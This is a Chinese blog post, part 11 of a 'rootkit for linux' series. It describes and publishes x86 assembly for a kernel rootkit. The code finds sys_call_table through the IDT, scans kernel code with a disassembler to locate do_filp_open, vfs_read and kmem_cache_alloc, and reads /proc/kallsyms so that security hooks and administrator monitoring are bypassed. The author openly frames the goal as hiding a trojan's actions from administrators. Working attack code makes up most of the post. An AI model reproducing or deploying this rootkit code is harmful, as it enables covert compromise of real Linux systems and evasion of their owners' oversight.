rootkit for linux 11.“寻找入口点”的改进方法

昨天看了篇文章《Linux on-the-fly kernel patching without LKM

作者提供了一种 ring3 进 ring0 的方法,思路很不错。我们也可以用那篇文章里提供的方法进入 ring0。

我们现在用的是溢出,溢出的通用性差,但只需要普通用户权限即可。

作者的方法通用性好,但需要root权限。

 

第2篇文章“寻找入口点”用的是系统调用读/proc/kallsyms 的方法。当时我就觉得这方法很有必要改进一下。因为太不靠谱了。管理员通过对/proc/kallsyms的监控完全可以知道木马的行动(其实呢,没有哪个管理员真的会这样做)。反正无论管理员有没有监控,今天我们的这个方法都是能绕过常规的监控的。

 

网上有一种方法是获得 sys_call_table 的。然后一般是获得 sys_call_table 后就强制修改它,把某个sys_call重定向。这种方法是不大好的。我们千万不要使用。

 

我们的第一步也是获得 sys_call_table 。跟网上的方法一样。先 sidt ,找到 0x80 号中断的服务例程的偏移。然后寻找 call xx(%xx, x, %xx)。这样的指令。找到了那个指令,也就找到了 sys_call_table 。

 

那么找到 sys_call_table 后我们用什么方法来绕过 security_xxx 函数呢?

 

我们先看打开文件。

为了避免管理员在ring3下看到我们的行动,我们的打开的文件不能跟进程关联起来。do_filp_open就函数能满足我们的要求了,不需要再找更底层的。我们来看看怎么获得 filp_open。

我们现在只知道 sys_open 函数的地址,是从 sys_call_table 里得知的。

  1. asmlinkage long sys_open(const char __user *filename, int flags, int mode)
  2. {
  3.     long ret;
  4.     if (force_o_largefile())
  5.         flags |= O_LARGEFILE;
  6.     ret = do_sys_open(AT_FDCWD, filename, flags, mode);
  7.     /* avoid REGPARM breakage on x86: */
  8.     prevent_tail_call(ret);
  9.     return ret;
  10. }

用大杀器xde获得 do_sys_open 的地址不是什么难事。

  1. long do_sys_open(int dfd, const char __user *filename, int flags, int mode)
  2. {
  3.     char *tmp = getname(filename);
  4.     int fd = PTR_ERR(tmp);
  5.     if (!IS_ERR(tmp)) {
  6.         fd = get_unused_fd();
  7.         if (fd >= 0) {
  8.             struct file *f = do_filp_open(dfd, tmp, flags, mode);
  9.             if (IS_ERR(f)) {
  10.                 put_unused_fd(fd);
  11.                 fd = PTR_ERR(f);
  12.             } else {
  13.                 fsnotify_open(f->f_dentry);
  14.                 fd_install(fd, f);
  15.             }
  16.         }
  17.         putname(tmp);
  18.     }
  19.     return fd;
  20. }

IS_ERR(tmp)展开后就是 cmp    $0xfffff000,%xx; ja xxx。判断返回值是否为错误号的一个宏。

if (fd >= 0) {展开后是 cmp ...; js 。

所以用xde寻找第一个js xxx。然后不用跳转,碰到的第一个call就是call do_filp_open了。

 

好了,文件打开的问题解决了。我们再来看看读文件。

 

我们说,在vfs层读取文件,方法从底层到高层有不少,我想了很久,觉得用 file->f_ops->read。这样,我们需要的偏移量就比较少。要知道,在这种手无寸铁的情况下,只知道有限的函数地址的情况下,我们没得选择。好比生活就像强奸一样。

 file->f_ops->read 已经越过了 security_xxx 函数。如果管理员没有用第三方软件的话,这个函数是没有hook的。xbfs也是hook到这里而已。

我们首先要找到 f_ops 。

  1. asmlinkage ssize_t sys_read(unsigned int fd, char __user * buf, size_t count)
  2. {
  3.     struct file *file;
  4.     ssize_t ret = -EBADF;
  5.     int fput_needed;
  6.     file = fget_light(fd, &fput_needed);
  7.     if (file) {
  8.         loff_t pos = file_pos_read(file);
  9.         ret = vfs_read(file, buf, count, &pos);
  10.         file_pos_write(file, pos);
  11.         fput_light(file, fput_needed);
  12.     }
  13.     return ret;
  14. }

还是比较好办的。用xde找je xxx。找到之后的第一个 call 就是 call vfs_read。

或者偷懒,直接找第二个 call 也行。这函数反正比较简单,没啥事。

  1. ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos)
  2. {
  3.     ssize_t ret;
  4.     if (!(file->f_mode & FMODE_READ))
  5.         return -EBADF;
  6.     if (!file->f_op || (!file->f_op->read && !file->f_op->aio_read))
  7.         return -EINVAL;
  8.     if (unlikely(!access_ok(VERIFY_WRITE, buf, count)))
  9.         return -EFAULT;
  10.     .....

这个也好办。搜第一个 jne xxx。顺着跳转。然后出现的前两个 movl 0xxx(%xx),%xx 必然是在取 f_op 和 f_op->read 。因为c语言肯定会按顺序来做逻辑判断的。我在程序里偷懒了,反正到出问题的时候再改。

 

好了。现在我们的偏移都搞到了。可以读指定的文件了。

我们打算把全部符号表读到缓冲区里(大概650k+)。然后用自己的函数找。

但是这么大的空间我们上哪找?我们必须申请空间。但申请空间的函数 kmalloc 的地址我们现在还不知道,咋的办呢?

 

这时候又要靠我们的好哥们xde了。我们都知道 /proc/kallsyms 是一个/proc上的接口,代码里使用seq机制实现的(seq机制在《linux设备驱动程序》里有详细介绍),那它的read 必然指向 seq_read。

 

  1. ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
  2. {
  3.     struct seq_file *m = (struct seq_file *)file->private_data;
  4.     size_t copied = 0;
  5.     loff_t pos;
  6.     size_t n;
  7.     void *p;
  8.     int err = 0;
  9.     mutex_lock(&m->lock);
  10.     /*
  11.      * seq_file->op->..m_start/m_stop/m_next may do special actions
  12.      * or optimisations based on the file->f_version, so we want to
  13.      * pass the file->f_version to those methods.
  14.      *
  15.      * seq_file->version is just copy of f_version, and seq_file
  16.      * methods can treat it simply as file version.
  17.      * It is copied in first and copied out after all operations.
  18.      * It is convenient to have it as  part of structure to avoid the
  19.      * need of passing another argument to all the seq_file methods.
  20.      */
  21.     m->version = file->f_version;
  22.     /* grab buffer if we didn't have one */
  23.     if (!m->buf) {
  24.         m->buf = kmalloc(m->size = PAGE_SIZE, GFP_KERNEL);
  25.         if (!m->buf)
  26.             goto Enomem;
  27.     }

看到没。seq_read 里刚好有一个 kmalloc。吗的,真是一举三得啊。

那好办了,开动xde,找 je xxx。顺着跳转。找到第一个 call 就是了。

 

但是呢,这个 kmalloc 还有点不一样。kmalloc(m->size = PAGE_SIZE, ...);

size参数,gcc肯定把它当成一个常量来看。如果size参数是常量,那么根据 kmalloc 的定义,是这样展开的:

 

  1. static inline void *kmalloc(size_t size, gfp_t flags)
  2. {
  3.     if (__builtin_constant_p(size)) {
  4.         int i = 0;
  5. #define CACHE(x) /
  6.         if (size <= x) /
  7.             goto found; /
  8.         else /
  9.             i++;
  10. #include "kmalloc_sizes.h"
  11. #undef CACHE
  12.         {
  13.             extern void __you_cannot_kmalloc_that_much(void);
  14.             __you_cannot_kmalloc_that_much();
  15.         }
  16. found:
  17.         return kmem_cache_alloc((flags & GFP_DMA) ?
  18.             malloc_sizes[i].cs_dmacachep :
  19.             malloc_sizes[i].cs_cachep, flags);
  20.     }
  21.     return __kmalloc(size, flags);
  22. }

[malloc_sizes.h]

  1. #if (PAGE_SIZE == 4096)
  2.     CACHE(32)
  3. #endif
  4.     CACHE(64)
  5. #if L1_CACHE_BYTES < 64
  6.     CACHE(96)
  7. #endif
  8.     CACHE(128)
  9. #if L1_CACHE_BYTES < 128
  10.     CACHE(192)
  11. #endif
  12.     CACHE(256)
  13.     CACHE(512)
  14.     CACHE(1024)
  15.     CACHE(2048)
  16.     CACHE(4096)
  17.     CACHE(8192)
  18.     CACHE(16384)
  19.     CACHE(32768)
  20.     CACHE(65536)
  21.     CACHE(131072)
  22. #if (NR_CPUS > 512) || (MAX_NUMNODES > 256) || !defined(CONFIG_MMU)
  23.     CACHE(262144)
  24. #endif
  25. #ifndef CONFIG_MMU
  26.     CACHE(524288)
  27.     CACHE(1048576)
  28. #ifdef CONFIG_LARGE_ALLOCS
  29.     CACHE(2097152)
  30.     CACHE(4194304)
  31.     CACHE(8388608)
  32.     CACHE(16777216)
  33.     CACHE(33554432)
  34. #endif /* CONFIG_LARGE_ALLOCS */
  35. #endif /* CONFIG_MMU */
  1. /* Size description struct for general caches. */
  2. struct cache_sizes {
  3.     size_t       cs_size;
  4.     kmem_cache_t    *cs_cachep;
  5.     kmem_cache_t    *cs_dmacachep;
  6. };
  7. extern struct cache_sizes malloc_sizes[];

linux的代码真是艺术品啊。能写出这样的代码,真的不是等闲之辈。。

如果size是常量,kmalloc就会返回一个大小为 2 的整数次幂的页面。因为 slab 背后的算法是“伙伴系统”。

对啊,这里要注意的是:内核编译选项中默认的分配算法是 slab,如果内核编译选项没有选择 slab 作为分配算法,那 kmalloc 就又不一样了,我们的代码就不支持了。我也没考虑这种情况。

 kmalloc(m->size = PAGE_SIZE, GFP_KERNEL);展开之后就是:

 

  1. movl   $0x1000,0x4(%esi)  
  2. mov    $0xd0,%edx         
  3. mov    $0xfffffff4,%edi   
  4. mov    0xc034ceb8,%eax    
  5. call   0xc016bf10         

第一行,m->size = PAGE_SIZE。

第二行,movl $GFP_KERNEL, %edx

第三行,设置返回值,我们不管

第四行,就是movl malloc_sizes[i].cs_cachep, %eax

第五行,call kmem_cache_alloc。

 

这里 malloc_sizes[i].cs_size = 0x1000。因为seq_read分配的是 4K大小。我们要1M。因为内核符号表就 650K+ 了。总不能给 512K吧。我们要  1MB 也不过分。现在的机子内存动辄上G,我们拿走一两m,管理员也不会觉得看a片会变卡一点。

我们只要把malloc_sizes[i]的 i 增加一点就行了。

Linux on-the-fly kernel patching without LKM 》这篇的作者也提出了一种方法找 kmalloc 。我觉得他的方法不好,他自己也说那个方法的成功率是 80 % 。他的方法是 2.2 ~ 2.4 版本适用的,如果有人要在2.6用那个方法,必须修改一下。2.4的内核的gcc编译选择,还没有把fastcall作为默认的函数调用约定。所以调用函数是 push xxx; push xxx; call xxx;

而在2.6则是 movl xxx, %eax; movl xxx, %edx; call xxx。

 

 

好了,我们现在达到目的了,可以把/proc/kallsyms 的内容读出来了。

今天也重写了 ksyms_lookup 的代码。觉得以前写的代码真烂,还有bug。不过这几天写熟了,就好了一点。

 

贴代码贴代码

 

读 idt

 

  1.     // set KERNEL_DS 
  2.     movl %esp, %eax 
  3.     andl $0xffffe000, %eax 
  4.     movl 0x18(%eax), %ebx 
  5.     movl %ebx, 0x1c(%esp) 
  6.     movl $0xffffffff, 0x18(%eax) 
  7. 1:  GET_ADDR(idt_ptr, %ebx)
  8.     sidt (%ebx)
  9.     movl 2(%ebx), %ebp
  10. #ifdef _KSYM_DEBUG_
  11.     movl %ebp, 4(%esp)
  12.     DPRINT("<3>idt at%lx/n")
  13. #endif
  14.     movw (0x80 * 8 + 6)(%ebp), %ax
  15.     shl $16, %eax
  16.     movw (0x80 * 8)(%ebp), %ax
  17.     movl %eax, %ebp
  18. #ifdef _KSYM_DEBUG_
  19.     movl %eax, 4(%esp)
  20.     DPRINT("<3>int 0x80 sr at %lx/n")
  21. #endif

找 vfs_read

 

  1.     movl %ebp, %esi
  2.     leal 0x100(%esi), %edi
  3. 1:  GET_ADDR(struct_dism, %edx)
  4.     movl %esi, %eax
  5.     call xde_dism
  6.     testl %eax, %eax
  7.     jz loader_out
  8.     movl %eax, %ebp
  9.     
  10.     cmpb $0xff, dism_opcode(%edx)
  11.     jz 2f
  12.     addl %ebp, %esi
  13.     cmpl %edi, %esi
  14.     jl 1b
  15.     jmp ksyms_init_out_failed
  16. 2:  movl 3(%esi), %ebp
  17.     
  18. #ifdef _KSYM_DEBUG_
  19.     movl %ebp, 4(%esp)
  20.     DPRINT("<3>sys_call_table at %lx/n")
  21. #endif
  22.     
  23.     movl (5 * 4)(%ebp), %ebx    // __NR_open = 5
  24.     SET_VAL32(sys_open, %ebx)
  25.     movl (3 * 4)(%ebp), %ebp    // __NR_read = 3
  26. #ifdef _KSYM_DEBUG_
  27.     GET_VAL32(sys_open, %eax)
  28.     movl %eax, 8(%esp)
  29.     movl %ebp, 4(%esp)
  30.     DPRINT("<3>sys_read at %lx, sys_open at %lx/n")
  31. #endif
  32.     movl $2, %ebx
  33.     movl %ebp, %esi
  34.     leal 0x100(%esi), %edi
  35. 1:  GET_ADDR(struct_dism, %edx)
  36.     movl %esi, %eax
  37.     call xde_dism
  38.     testl %eax, %eax
  39.     jz ksyms_init_out_failed
  40.     movl %eax, %ebp
  41.     cmpb $0xe8, dism_opcode(%edx)
  42.     jnz 3f
  43.     decl %ebx
  44.     jz 2f
  45. 3:
  46.     addl %ebp, %esi
  47.     cmpl %edi, %esi
  48.     jl 1b
  49.     jmp ksyms_init_out_failed
  50. 2:  movl 1(%esi), %ebp
  51.     leal 5(%esi), %esi
  52.     addl %esi, %ebp
  53. #ifdef _KSYM_DEBUG_
  54.     movl %ebp, 4(%esp)
  55.     DPRINT("<3>vfs_read at %lx/n")
  56. #endif
  57.     

找 f_op, read 的偏移

 

  1.     xorb %bl, %bl
  2.     movl %ebp, %esi
  3.     leal 0x100(%esi), %edi
  4. 1:  GET_ADDR(struct_dism, %edx)
  5.     movl %esi, %eax
  6.     call xde_dism
  7.     testl %eax, %eax
  8.     jz ksyms_init_out_failed
  9.     movl %eax, %ebp
  10.     cmpb $0x8b, dism_opcode(%edx)
  11.     jnz 4f
  12.     testb $1, %bl
  13.     jz 3f
  14.     movzbl 2(%esi), %ecx
  15.     testb $2, %bl
  16.     jnz 5f
  17.     
  18.     SET_VAL32(file.f_op, %ecx)
  19.     orb $2, %bl
  20.     jmp 3f
  21. 5:  SET_VAL32(file_operations.read, %ecx)
  22.     jmp 2f
  23. 4:  cmpb $0xc3, dism_opcode(%edx)
  24.     jnz 3f
  25.     orb $1, %bl
  26. 3:  addl %ebp, %esi
  27.     cmpl %edi, %esi
  28.     jl 1b
  29.     jmp ksyms_init_out_failed
  30. 2:  
  31.     
  32. #ifdef _KSYM_DEBUG_
  33.     GET_VAL32(file.f_op, %eax)
  34.     movl %eax, 4(%esp)
  35.     GET_VAL32(file_operations.read, %eax)
  36.     movl %eax, 8(%esp)
  37.     DPRINT("<3>file.f_op %lx, file_operations.read %lx/n")
  38. #endif

找 do_filp_open

 

  1.     GET_VAL32(sys_open, %esi)
  2.     leal 0x100(%esi), %edi
  3. 1:  GET_ADDR(struct_dism, %edx)
  4.     movl %esi, %eax
  5.     call xde_dism
  6.     testl %eax, %eax
  7.     jz ksyms_init_out_failed
  8.     movl %eax, %ebp
  9.     cmpb $0xe8, dism_opcode(%edx)
  10.     jz 3f
  11. 2:  addl %ebp, %esi
  12.     cmpl %edi, %esi
  13.     jl 1b
  14.     
  15.     jmp ksyms_init_out_failed
  16. 3:
  17.     movl 1(%esi), %ebp
  18.     leal 5(%esi), %esi
  19.     addl %esi, %ebp
  20. #ifdef _KSYM_DEBUG_
  21.     movl %ebp, 4(%esp)
  22.     DPRINT("<3>do_sys_open at %lx/n")
  23. #endif
  24.     
  25.     xorb %bl, %bl
  26.     movl %ebp, %esi
  27.     leal 0x100(%esi), %edi
  28. 1:  GET_ADDR(struct_dism, %edx)
  29.     movl %esi, %eax
  30.     call xde_dism
  31.     testl %eax, %eax
  32.     jz ksyms_init_out_failed
  33.     movl %eax, %ebp
  34.     
  35.     cmpb $0xe8, dism_opcode(%edx)
  36.     jnz 4f
  37.     testb $1, %bl
  38.     jz 2f
  39.     
  40.     jmp 3f
  41. 4:  cmpw $0x7f78, (%esi)
  42.     jnz 2f
  43.     orb $1, %bl
  44.     
  45. 2:  addl %ebp, %esi
  46.     cmpl %edi, %esi
  47.     jl 1b
  48.     jmp ksyms_init_out_failed
  49. 3:
  50.     movl 1(%esi), %ebp
  51.     leal 5(%esi), %esi
  52.     addl %esi, %ebp
  53.     SET_VAL32(do_filp_open, %ebp)
  54. #ifdef _KSYM_DEBUG_
  55.     GET_VAL32(do_filp_open, %eax)
  56.     movl %eax, 4(%esp)
  57.     DPRINT("<3>do_filp_open at %lx/n")
  58. #endif

打开 /proc/kallsyms

 

  1.     // file = do_filp_open(AT_FDCWD, "/proc/kallsyms", O_RDONLY, 0);
  2.     GET_VAL32(do_filp_open, %ebp)
  3.     movl $-100, %eax
  4.     GET_STR("/proc/kallsyms", %edx)
  5.     xorl %ecx, %ecx
  6.     movl $0, (%esp)
  7.     call *%ebp
  8.     testl %eax, %eax
  9.     jz ksyms_init_out_failed
  10.     movl %eax, %esi
  11.     movl %esi, 0x18(%esp)
  12.     GET_STRUCT_VAL32(%esi, file.f_op, %ebx)
  13.     GET_STRUCT_VAL32(%ebx, file_operations.read, %ebp)
  14.     movl %ebp, 0x14(%esp)
  15. #ifdef _KSYM_DEBUG_
  16.     movl %ebp, 4(%esp)
  17.     DPRINT("<3>file opened, file->f_op->read at %lx/n")
  18. #endif

 

找 kmalloc ,分配 ksyms 的内存

 

  1.     xorb %bl, %bl
  2.     movl %ebp, %esi
  3.     leal 0x100(%esi), %edi
  4. 1:  movl %esi, %eax
  5.     GET_ADDR(struct_dism, %edx)
  6.     call xde_dism
  7.     testl %eax, %eax
  8.     jz ksyms_init_out_failed
  9.     movl %eax, %ebp
  10.     
  11.     testb $1, %bl
  12.     jnz 3f
  13.     cmpw $0x840f, (%esi)
  14.     jnz 2f
  15.     orb $1, %bl
  16.     movl 2(%esi), %edx
  17.     leal 6(%esi), %esi
  18.     addl %edx, %esi
  19.     leal 0x100(%esi), %edi
  20.     jmp 1b
  21. 3:  cmpb $0xe8, dism_opcode(%edx)
  22.     jz 4f
  23.     cmpb $0xa1, dism_opcode(%edx)
  24.     jnz 2f
  25.     movl 1(%esi), %edx
  26.     movl %edx, (%esp)
  27. 2:  addl %ebp, %esi
  28.     cmpl %edi, %esi
  29.     jl 1b
  30.     jmp ksyms_init_out_failed
  31. 4:
  32.     movl (%esp), %eax
  33.     movl (8 + 7 * 12 + 4)(%eax), %edi
  34.     movl 1(%esi), %ebp
  35.     leal 5(%esi), %esi
  36.     addl %esi, %ebp
  37. #ifdef _KSYM_DEBUG_
  38.     movl %edi, 8(%esp)
  39.     movl %ebp, 4(%esp)
  40.     DPRINT("<3>kmem_cache_alloc at %lx, param 1 is %lx/n")
  41. #endif
  42.     
  43.     // buf = kmem_cache_alloc(malloc_sizes[1MB].cs_cachep, GFP_KERNEL | __GFP_ZERO);
  44.     movl %edi, %eax
  45.     movl $0x80d0, %edx
  46.     call *%ebp
  47.     testl %eax, %eax
  48.     jz ksyms_init_out_failed
  49.     movl %eax, %esi
  50.     SET_VAL32(ksyms, %esi)
  51. #ifdef _KSYM_DEBUG_
  52.     movl %esi, 4(%esp)
  53.     DPRINT("<3>kmem_cache_alloc 1MB for kallsyms at %lx ok!/n")
  54. #endif

读 /proc/kallsyms 到缓冲区

 

  1. #define posl 0x4
  2. #define posh 0x8
  3.     movl $0, posl(%esp)
  4.     movl $0, posh(%esp)
  5.     // file->f_op->read(file, buf, 1024 * 1024 * 1, &pos);
  6. 1:  movl 0x18(%esp), %eax
  7.     movl 0x14(%esp), %ebp
  8.     leal posl(%esp), %ebx
  9.     movl %ebx, (%esp)
  10.     movl %esi, %edx
  11.     movl $(1024 * 1024), %ecx
  12.     call *%ebp
  13.     testl %eax, %eax
  14.     jz 3f
  15.     addl %eax, %esi
  16.     jmp 1b
  17. 3:
  18. #undef posh
  19. #undef posl
  20. #ifdef _KSYM_DEBUG_
  21.     movl %esi, 4(%esp)
  22.     DPRINT("<3>read kallsym ok! content: %.10s .../n")
  23. #endif

 

重写的 ksym_lookup 代码,解决了以前的 bug:

 

  1. // fastcall unsigned long ksym_lookup(char *name, int len) 
  2. // @name: name of the function to find 
  3. // @len: len of the name 
  4. // return: addr of the function 
  5. EXPORT_LABEL(ksym_lookup) 
  6.     PUSH_ALL
  7.     subl $0x14, %esp 
  8.     movl $0, 0xc(%esp)
  9.     movl %eax, (%esp)
  10.     movl %edx, 4(%esp)
  11. #ifndef _TEST_
  12.     // saved = get_fs(); set_fs(KERNEL_DS);
  13.     movl %esp, %eax 
  14.     andl $0xffffe000, %eax 
  15.     movl 0x18(%eax), %ebx 
  16.     movl %ebx, 0x10(%esp)
  17.     movl $0xffffffff, 0x18(%eax)
  18. #endif
  19. #ifndef _TEST_
  20.     GET_VAL32(ksyms, %esi)
  21. #else
  22.     movl %ecx, %esi
  23. #endif
  24. ksym_lookup_getline:
  25.     movl %esi, %edi
  26. 1:  cmpb $0, (%esi)
  27.     jnz 4f
  28.     movl $-1, 0xc(%esp)
  29.     jmp ksym_lookup_out
  30. 4:  cmpb $'/n', (%esi)
  31.     jz 2f
  32.     incl %esi
  33.     jmp 1b
  34. 2:  
  35.     movl %edi, %edx
  36.     movl $2, %eax
  37. 1:  cmpb $' ', (%edi)
  38.     jnz 2f
  39.     decl %eax
  40.     jz 3f
  41. 2:  incl %edi
  42.     cmpl %esi, %edi
  43.     jl 1b
  44.     movl $-2, 0xc(%esp)
  45.     jmp ksym_lookup_out
  46. 3:  
  47.     leal 1(%edi), %edi
  48.     leal 1(%esi), %ebp
  49.     movl (%esp), %esi
  50.     movl 4(%esp), %ecx
  51.     cld; rep cmpsb
  52.     je 1f
  53.     jmp ksym_lookup_next
  54. 1:  
  55.     cmpb $'_', (%edi)
  56.     je ksym_lookup_next
  57.     cmpb $'0', (%edi)
  58.     jl 3f
  59.     cmpb $'9', (%edi)
  60.     jle ksym_lookup_next
  61.     cmpb $'a', (%edi)
  62.     jl 3f
  63.     cmpb $'z', (%edi)
  64.     jle ksym_lookup_next
  65. 3:  
  66.     xorl %eax, %eax
  67.     movl $9, %esi
  68. 2:  movb (%edx), %bl
  69.     cmpb $' ', %bl
  70.     jz 3f
  71.     cmpb $'a', %bl
  72.     jb 4f
  73.     cmpb $'f', %bl
  74.     jna 6f
  75.     movl $-4, 0xc(%esp)
  76.     jmp ksym_lookup_out
  77. 6:  subb $('a' - 10), %bl
  78.     jmp 5f
  79. 4:  cmpb $'0', %bl
  80.     jnb 7f
  81.     movl $-5, 0xc(%esp)
  82.     jmp ksym_lookup_out
  83. 7:  cmpb $'9', %bl
  84.     jna 8f
  85.     movl $-6, 0xc(%esp)
  86.     jmp ksym_lookup_out
  87. 8:  subb $'0', %bl
  88. 5:  shl $4, %eax
  89.     movb %al, %cl
  90.     andb $0xF0, %cl
  91.     orb %cl, %bl
  92.     movb %bl, %al
  93.     incl %edx
  94.     decl %esi
  95.     jnz 9f
  96.     movl $-7, 0xc(%esp)
  97.     jmp ksym_lookup_out
  98. 9:  jmp 2b
  99. ksym_lookup_next:
  100.     movl %ebp, %esi
  101.     jmp ksym_lookup_getline
  102. 3:  
  103.     movl %eax, 0xc(%esp)
  104. ksym_lookup_out: 
  105. #ifndef _TEST_
  106.     movl %esp, %ebx 
  107.     andl $0xffffe000, %ebx 
  108.     movl 0x10(%esp), %ecx 
  109.     movl %ecx, 0x18(%ebx)
  110. #endif
  111.     
  112.     movl 0xc(%esp), %eax
  113.     addl $0x14, %esp 
  114.     POP_ALL
  115.     ret 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值